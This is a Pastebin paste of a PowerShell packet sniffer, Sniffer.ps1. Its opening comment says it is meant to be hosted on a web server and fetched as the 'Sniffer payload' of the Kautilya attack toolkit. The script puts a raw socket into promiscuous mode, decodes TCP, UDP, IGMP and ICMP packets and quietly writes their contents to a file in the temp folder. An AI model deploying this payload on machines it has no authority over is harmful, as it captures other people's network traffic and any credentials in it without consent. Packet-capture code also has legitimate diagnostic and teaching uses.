Advertisement
JOK3R_

Sniffer.ps1

Sep 25th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.81 KB | None | 0 0
  1. #This script needs to be uploaded to a web server to be used with Sniffer payload of Kautilya
  2.  
  3. # Script by Robbie Foust (rfoust@duke.edu)
  4. # This script will be changed to show more relevant packets
  5.  
  6.  
  7. param([string]$LocalIP = "NotSpecified", [string]$Protocol = "all", [int]$Seconds = 0, [switch]$ResolveHosts, [switch]$Statistics, [switch]$Silent)
  8.  
  9. $starttime = get-date
  10. $byteIn = new-object byte[] 4
  11. $byteOut = new-object byte[] 4
  12. $byteData = new-object byte[] 4096 # size of data
  13.  
  14. $byteIn[0] = 1 # this enables promiscuous mode (ReceiveAll)
  15. $byteIn[1-3] = 0
  16. $byteOut[0-3] = 0
  17.  
  18. # TCP Control Bits
  19. $TCPFIN = [byte]0x01
  20. $TCPSYN = [byte]0x02
  21. $TCPRST = [byte]0x04
  22. $TCPPSH = [byte]0x08
  23. $TCPACK = [byte]0x10
  24. $TCPURG = [byte]0x20
  25.  
  26. #largely based on a script at msdn
  27. function Zip($zipfilename,$filename)
  28. {
  29.  
  30. if(-not (test-path($zipfilename)))
  31. {
  32. set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
  33.  
  34. }
  35.  
  36. $shellApplication = new-object -com shell.application
  37. $zippackage = $shellApplication.NameSpace($zipfilename)
  38. $zippackage.copyhere($filename)
  39. }
  40.  
  41. # Takes a 2 byte array, switches it from big endian to little endian, and converts it to uint16.
  42. function NetworkToHostUInt16 ($value)
  43. {
  44. [Array]::Reverse($value)
  45. [BitConverter]::ToUInt16($value,0)
  46. }
  47.  
  48. # Takes a 4 byte array, switches it from big endian to little endian, and converts it to uint32.
  49. function NetworkToHostUInt32 ($value)
  50. {
  51. [Array]::Reverse($value)
  52. [BitConverter]::ToUInt32($value,0)
  53. }
  54.  
  55. # Takes a byte array, switches it from big endian to little endian, and converts it to a string.
  56. function ByteToString ($value)
  57. {
  58. $AsciiEncoding = new-object system.text.asciiencoding
  59. $AsciiEncoding.GetString($value)
  60. }
  61.  
  62. $hostcache = @{} # hashtable to cache hostnames to speed up ResolveIP()
  63.  
  64. function ResolveIP ($ip)
  65. {
  66. if ($data = $hostcache."$($ip.IPAddressToString)")
  67. {
  68. if ($ip.IPAddressToString -eq $data)
  69. {
  70. [system.net.ipaddress]$ip
  71. }
  72. else
  73. {
  74. $data
  75. }
  76. }
  77. else
  78. {
  79. $null,$null,$null,$data = nslookup $ip.IPAddressToString 2>$null
  80.  
  81. $data = $data -match "Name:"
  82.  
  83. if ($data -match "Name:")
  84. {
  85. $data = $data[0] -replace "Name:\s+",""
  86. $hostcache."$($ip.IPAddressToString)" = "$data"
  87. $data
  88. }
  89. else
  90. {
  91. $hostcache."$($ip.IPAddressToString)" = "$($ip.IPAddressToString)"
  92. $ip
  93. }
  94. }
  95. }
  96.  
  97. # try to figure out which IP address to bind to by looking at the default route
  98. if ($LocalIP -eq "NotSpecified") {
  99. route print 0* | % {
  100. if ($_ -match "\s{2,}0\.0\.0\.0") {
  101. $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",")
  102. }
  103. }
  104. }
  105.  
  106. write-host "Using IPv4 Address: $LocalIP"
  107. write-host
  108.  
  109.  
  110. # open a socket -- Type should be Raw, and ProtocolType has to be IP for promiscuous mode, otherwise iocontrol will fail below.
  111. $socket = new-object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP)
  112.  
  113. # this tells the socket to include the IP header
  114. $socket.setsocketoption("IP","HeaderIncluded",$true)
  115.  
  116. # make the buffer big or we'll drop packets.
  117. $socket.ReceiveBufferSize = 819200
  118.  
  119. $ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",0)
  120. $socket.bind($ipendpoint)
  121.  
  122. # this enables promiscuous mode
  123. [void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut)
  124.  
  125. write-host "Press ESC to stop the packet sniffer ..." -fore yellow
  126.  
  127. $escKey = 27
  128. $running = $true
  129. $packets = @() # this will hold all packets for later analysis
  130.  
  131. while ($running)
  132. {
  133. # check and see if ESC was pressed
  134. if ($host.ui.RawUi.KeyAvailable)
  135. {
  136. $key = $host.ui.RawUI.ReadKey("NoEcho,IncludeKeyUp,IncludeKeyDown")
  137.  
  138. if ($key.VirtualKeyCode -eq $ESCkey)
  139. {
  140. $running = $false
  141. }
  142. }
  143.  
  144. if ($Seconds -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Seconds))) # if user-specified timeout has expired
  145. {
  146. exit
  147. }
  148.  
  149. if (-not $socket.Available) # see if any packets are in the queue
  150. {
  151. start-sleep -milliseconds 500
  152. continue
  153. }
  154.  
  155. # receive data
  156. $rcv = $socket.receive($byteData,0,$byteData.length,[net.sockets.socketflags]::None)
  157.  
  158. # decode the header (see RFC 791 or this will make no sense)
  159. $MemoryStream = new-object System.IO.MemoryStream($byteData,0,$rcv)
  160. $BinaryReader = new-object System.IO.BinaryReader($MemoryStream)
  161.  
  162. # First 8 bits of IP header contain version & header length
  163. $VersionAndHeaderLength = $BinaryReader.ReadByte()
  164.  
  165. # Next 8 bits contain the TOS (type of service)
  166. $TypeOfService= $BinaryReader.ReadByte()
  167.  
  168. # total length of header and payload
  169. $TotalLength = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  170.  
  171. $Identification = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  172. $FlagsAndOffset = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  173. $TTL = $BinaryReader.ReadByte()
  174. $ProtocolNumber = $BinaryReader.ReadByte()
  175. $Checksum = [Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
  176.  
  177. $SourceIPAddress = $BinaryReader.ReadUInt32()
  178. $SourceIPAddress = [System.Net.IPAddress]$SourceIPAddress
  179. $DestinationIPAddress = $BinaryReader.ReadUInt32()
  180. $DestinationIPAddress = [System.Net.IPAddress]$DestinationIPAddress
  181.  
  182. # Get the IP version number from the "left side" of the Byte
  183. $ipVersion = [int]"0x$(('{0:X}' -f $VersionAndHeaderLength)[0])"
  184.  
  185. # Get the header length by getting right 4 bits (usually will be 5, as in 5 32 bit words)
  186. # multiplying by 4 converts from words to octets which is what TotalLength is measured in
  187. $HeaderLength = [int]"0x$(('{0:X}' -f $VersionAndHeaderLength)[1])" * 4
  188.  
  189. if ($HeaderLength -gt 20) # if header includes Options (is gt 5 octets long)
  190. {
  191. [void]$BinaryReader.ReadBytes($HeaderLength - 20) # should probably do something with this later
  192. }
  193.  
  194. $Data = ""
  195. $TCPFlagsString = @() # make this an array
  196. $TCPWindow = ""
  197. $SequenceNumber = ""
  198.  
  199. switch ($ProtocolNumber) # see http://www.iana.org/assignments/protocol-numbers
  200. {
  201. 1 { # ICMP
  202. $protocolDesc = "ICMP"
  203.  
  204. $sourcePort = [uint16]0
  205. $destPort = [uint16]0
  206. break
  207. }
  208. 2 { # IGMP
  209. $protocolDesc = "IGMP"
  210. $sourcePort = [uint16]0
  211. $destPort = [uint16]0
  212. $IGMPType = $BinaryReader.ReadByte()
  213. $IGMPMaxRespTime = $BinaryReader.ReadByte()
  214. $IGMPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
  215. $Data = ByteToString $BinaryReader.ReadBytes($TotalLength - ($HeaderLength - 32))
  216. }
  217. 6 { # TCP
  218. $protocolDesc = "TCP"
  219.  
  220. $sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  221. $destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  222. $SequenceNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4)
  223. $AckNumber = NetworkToHostUInt32 $BinaryReader.ReadBytes(4)
  224. $TCPHeaderLength = [int]"0x$(('{0:X}' -f $BinaryReader.ReadByte())[0])" * 4 # reads Data Offset + 4 bits of Reserve (ignored)
  225.  
  226. $TCPFlags = $BinaryReader.ReadByte() # this will also contain 2 bits of Reserve on the left, but we can just ignore them.
  227.  
  228. switch ($TCPFlags)
  229. {
  230. { $_ -band $TCPFIN } { $TCPFlagsString += "FIN" }
  231. { $_ -band $TCPSYN } { $TCPFlagsString += "SYN" }
  232. { $_ -band $TCPRST } { $TCPFlagsString += "RST" }
  233. { $_ -band $TCPPSH } { $TCPFlagsString += "PSH" }
  234. { $_ -band $TCPACK } { $TCPFlagsString += "ACK" }
  235. { $_ -band $TCPURG } { $TCPFlagsString += "URG" }
  236. }
  237.  
  238. $TCPWindow = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  239. $TCPChecksum = [System.Net.IPAddress]::NetworkToHostOrder($BinaryReader.ReadInt16())
  240. $TCPUrgentPointer = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  241.  
  242. if ($TCPHeaderLength -gt 20) # get to start of data
  243. {
  244. [void]$BinaryReader.ReadBytes($TCPHeaderLength - 20)
  245. }
  246.  
  247. # if SYN flag is set, sequence number is initial sequence number, and therefore the first
  248. # octet of the data is ISN + 1.
  249. if ($TCPFlags -band $TCPSYN)
  250. {
  251. $ISN = $SequenceNumber
  252. #$SequenceNumber = $BinaryReader.ReadBytes(1)
  253. [void]$BinaryReader.ReadBytes(1)
  254. }
  255.  
  256. $Data = ByteToString $BinaryReader.ReadBytes($TotalLength - ($HeaderLength + $TCPHeaderLength))
  257. break
  258. }
  259. 17 { # UDP
  260. $protocolDesc = "UDP"
  261.  
  262. $sourcePort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  263. $destPort = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  264. $UDPLength = NetworkToHostUInt16 $BinaryReader.ReadBytes(2)
  265. [void]$BinaryReader.ReadBytes(2)
  266. # subtract udp header length (2 octets) and convert octets to bytes.
  267. $Data = ByteToString $BinaryReader.ReadBytes(($UDPLength - 2) * 4)
  268. break
  269. }
  270. default {
  271. $protocolDesc = "Other ($_)"
  272. $sourcePort = 0
  273. $destPort = 0
  274. break
  275. }
  276. }
  277.  
  278. $BinaryReader.Close()
  279. $memorystream.Close()
  280.  
  281. if ($ResolveHosts) # resolve IP addresses to hostnames
  282. {
  283. # GetHostEntry is horribly slow on failed lookups, so I'm not using it
  284. # $DestinationHostName = ([System.Net.DNS]::GetHostEntry($DestinationIPAddress.IPAddressToString)).Hostname
  285. # $SourceHostName = ([System.Net.DNS]::GetHostEntry($SourceIPAddress.IPAddressToString)).Hostname
  286.  
  287. $DestinationHostName = ResolveIP($DestinationIPAddress)
  288. $SourceHostName = ResolveIP($SourceIPAddress)
  289. }
  290.  
  291. # now throw the stuff we consider important into a psobject
  292. # $ipObject = new-object psobject
  293.  
  294. if ($Protocol -eq "all" -or $Protocol -eq $protocolDesc)
  295. {
  296. $packet = new-object psobject
  297.  
  298. $packet | add-member noteproperty Destination $DestinationIPAddress
  299. if ($ResolveHosts) { $packet | add-member noteproperty DestinationHostName $DestinationHostName }
  300. $packet | add-member noteproperty Source $SourceIPAddress
  301. if ($ResolveHosts) { $packet | add-member noteproperty SourceHostName $SourceHostName }
  302. $packet | add-member noteproperty Version $ipVersion
  303. $packet | add-member noteproperty Protocol $protocolDesc
  304. $packet | add-member noteproperty Sequence $SequenceNumber
  305. $packet | add-member noteproperty Window $TCPWindow
  306. $packet | add-member noteproperty DestPort $destPort
  307. $packet | add-member noteproperty SourcePort $sourcePort
  308. $packet | add-member noteproperty Flags $TCPFlagsString
  309. $packet | add-member noteproperty Data $Data
  310. $packet | add-member noteproperty Time (get-date)
  311.  
  312. $packets += $packet # add this packet to the array
  313. $file = "$env:temp/packets.txt"
  314. if (-not $Silent)
  315. {
  316. #$packet
  317. Out-File -FilePath $file -Append -InputObject $packet
  318.  
  319. }
  320. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement